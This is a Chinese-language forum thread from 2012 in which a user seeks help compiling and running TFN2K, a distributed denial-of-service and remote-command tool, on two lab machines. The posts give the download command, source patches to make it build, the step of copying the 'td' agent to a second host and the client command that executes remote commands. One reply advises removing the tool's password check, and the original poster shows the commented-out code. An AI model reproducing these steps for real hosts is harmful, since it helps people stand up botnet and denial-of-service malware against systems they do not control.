作者 主題: [請益] 請問tfn2k-passwords do not match  (閱讀 3796 次)

0 會員 與 1 訪客 正在閱讀本文。

zarr12steven

  • SA 苦力組
  • 懷疑的國中生
  • **
  • 文章數: 71
    • 檢視個人資料
[請益] 請問tfn2k-passwords do not match
« 於: 2012-07-13 18:28 »
請問各位大大:
小弟最近在研究tfn2k這個工具,我有在centos 5.8 x64及ubnutn 11.04 x64的系統上做編譯,也上網查過相關文章,沒看到有人有這方面的解法,故~到此版詢求有經驗的版大指點迷津,我附上我的做法及錯誤訊息。

實測環境 ubuntu 11.04 x64  皆有二台ubuntu
主控端:192.168.1.1
被控端:192.168.1.2


# wget http://www.xfocus.net/tools/200405/tfn2k.tgz
#tar zxvf tfn2k.tgz
#cd tfn2k/src
#vim ip.h
修改123行,並注解掉以下
#ifndef in_addr
/*struct in_addr
  {
    unsigned long int s_addr;
  };*/
vim mkpass.c
修改87行,並加入0777
原始:fd = open ("pass.c", O_WRONLY | O_TRUNC | O_CREAT);
修改後:fd = open ("pass.c", O_WRONLY | O_TRUNC | O_CREAT, 0777);


vim disc.c
修改30行,並加入0777
原始:close (open ("agreed", O_WRONLY | O_CREAT | O_TRUNC));
修改後:close (open ("agreed", O_WRONLY | O_CREAT | O_TRUNC, 0777));

#make
按完yes後,會需要輸入8-16碼的密碼,即可完成。

然後我就透過scp把td檔丟到另一台虛擬機,並將td 檔改成以下權限
-rwxr-xr-x 1 root   root   42384 2012-07-13 16:16 td
再回到主控端執行 ./tfn -h 192.168.1.2  -c 10 -i "mkdir test"
會要求你輸入當時編譯時輸入的密碼

        Protocol      : random
        Source IP     : random
        Client input  : list
        Command       : execute remote command

Password verification:
Sorry, passwords do not match.
1 IyD//wAAAACPTP//AAAAAICb//8AAAAAhVT//wAAAABwZuXtAAAAAP0Q//8AAAAAAAAAAA
2 IIH//wAAAADUGiXhAAAAAHtk//8AAAAAg6T//wAAAAAFb///AAAAAElmxRMAAAAAAAAAAA



煩請各位大大指點迷津


不強就要挨打

darkranger

  • 榮譽學長
  • 俺是博士!
  • *****
  • 文章數: 1370
    • 檢視個人資料
    • http://darkranger.no-ip.org
Re: [請益] 請問tfn2k-passwords do not match
« 回覆 #1 於: 2012-07-16 13:26 »
Password verification:
Sorry, passwords do not match.
1 IyD//wAAAACPTP//AAAAAICb//8AAAAAhVT//wAAAABwZuXtAAAAAP0Q//8AAAAAAAAAAA
2 IIH//wAAAADUGiXhAAAAAHtk//8AAAAAg6T//wAAAAAFb///AAAAAElmxRMAAAAAAAAAAA
我是覺得,既然手上有原始碼
何不把密碼驗證整個拿掉?

稍微看了一下裡頭的tfn.c,不是有一些「#ifdef REQUIRE_PASS」嗎?
那麼再往下推,看起來把config.h的「#define REQUIRE_PASS」拿掉就可以了吧

zarr12steven

  • SA 苦力組
  • 懷疑的國中生
  • **
  • 文章數: 71
    • 檢視個人資料
Re: [請益] 請問tfn2k-passwords do not match
« 回覆 #2 於: 2012-07-18 12:40 »
註解掉以下的密碼驗証
vim config.h

/*#define REQUIRE_PASS*/

vim tfn.c
   
/*#ifdef REQUIRE_PASS
void passchk (void);
#endif*/

/*#ifdef REQUIRE_PASS
  passchk ();
#endif*/

/*#ifdef REQUIRE_PASS
void
passchk (void)
{
  char test1[100] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789", test2[100] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789",
    enc1[100], enc2[100], *p = getpass ("\n^[[0;0mPassword verification:");

  memset (enc1, 0, 100);
  memset (enc2, 0, 100);

  security_through_obscurity (1);
  encode64 (test1, enc1, strlen (test1));
  security_through_obscurity (0);
  aes_setkey (p);
  encode64 (test2, enc2, strlen (test2));

  if (strcmp (enc1, enc2))
    {
      fprintf (stderr, "Sorry, passwords do not match.\n");
      fprintf (stderr, "1 %s\n2 %s\n", enc1, enc2);
      exit (0);
    }
}
#endif*/

# ./tfn -h 192.168.1.32 -c 10 -i "mkdir testfile"

        Protocol      : random
        Source IP     : random
        Client input  : single host
        Command       : execute remote command

Sending out packets: .

darkranger大大,我照了您的方式去做修改後,有去修改以上設定檔,但仍然無法控制用戶端!!
« 上次編輯: 2012-07-18 14:27 由 zarr12steven »
不強就要挨打

zarr12steven

  • SA 苦力組
  • 懷疑的國中生
  • **
  • 文章數: 71
    • 檢視個人資料
Re: [請益] 請問tfn2k-passwords do not match
« 回覆 #3 於: 2012-07-20 11:03 »
補充一下~!昨天忘了說,即使我把整個密碼驗証拿掉後,在我編譯時,它還是會要我輸入8-16位的密碼,想請問一下,不是把密碼整段註解掉,它就不會編譯了不是是嗎?怎麼還會要我輸入密碼 ???
不強就要挨打